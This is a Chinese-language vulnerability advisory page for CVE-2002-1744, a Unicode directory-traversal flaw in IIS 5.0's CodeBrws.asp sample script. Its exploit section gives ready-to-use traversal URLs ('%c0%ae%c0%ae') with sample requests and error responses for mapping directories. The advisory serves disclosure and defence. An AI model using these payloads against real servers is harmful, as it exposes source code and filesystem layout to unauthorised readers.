Microsoft IIS示例脚本CodeBrws.asp远程读取特定脚本源码漏洞

Microsoft IIS示例脚本CodeBrws.asp远程读取特定脚本源码漏洞

漏洞ID 1106681 漏洞类型 输入验证
发布时间 2002-04-16 更新时间 2005-10-20
图片[1]-Microsoft IIS示例脚本CodeBrws.asp远程读取特定脚本源码漏洞-安全小百科CVE编号 CVE-2002-1744
图片[2]-Microsoft IIS示例脚本CodeBrws.asp远程读取特定脚本源码漏洞-安全小百科CNNVD-ID CNNVD-200212-845
漏洞平台 Windows CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/21385
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-845
|漏洞详情
MicrosoftIIS(InternetInformationServer)是MSWindows系统默认自带的Web服务器软件。IIS5.0默认自带的示例脚本文件CodeBrws.asp对用户输入没有正确过滤,远程攻击者可能利用此漏洞读取Web主目录内任意以.asp、.inc、.htm和.html为后缀的文件。问题在于CodeBrws.asp脚本中虽然对提交给它参数的路径信息中检查是否包含了”..”串,但没有考虑到Unicode的可能,远程攻击者可能提交”..”串的Unicode表示方式”%c0%ae%c0%ae”给脚本程序,从而访问到Web目录内任意以.asp、.inc、.htm和.html为后缀文件的源码。
|漏洞EXP
source: http://www.securityfocus.com/bid/4525/info

Microsoft IIS 5.0 ships with a sample script that may be used to view the source code of other scripts in the sample scripts (/IISSAMPLES) directory. However, this script (CodeBrws.asp) does not adequately filter unicode representations of directory traversals. For example, an attacker can break out of the sample script directory by substituting '%c0%ae%c0%ae' for '..' in a dot-dot-slash directory traversal attack.

It has been demonstrated that this issue may be exploited to map out the directory structure of the filesystem on a host running the vulnerable script.

http://target/iissamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/default.asp

The following example was also provided to demonstrate that the directory structure may be mapped out using this vulnerability:

Request:
http://target/IISSamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/%c0%ae%c0%ae/bogus_directory/nonexistent.asp

Response: Microsoft VBScript runtime (0x800A004C) Path not found

Request:
http://target/IISSamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/%c0%ae%c0%ae/oracle/nonexistant.asp

Response: Microsoft VBScript runtime (0x800A0035) File not found
|参考资料

来源:XF
名称:iis-codebrws-view-source(8853)
链接:http://xforce.iss.net/xforce/xfdb/8853
来源:BID
名称:4525
链接:http://www.securityfocus.com/bid/4525
来源:NSFOCUS
名称:2598
链接:http://www.nsfocus.net/vulndb/2598

相关推荐: Chesapeake TFTP Server 1.0 – Directory Traversal / Denial of Service (PoC)

Chesapeake TFTP Server 1.0 – Directory Traversal / Denial of Service (PoC) 漏洞ID 1054738 漏洞类型 发布时间 2004-11-01 更新时间 2004-11-01 CVE编号…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享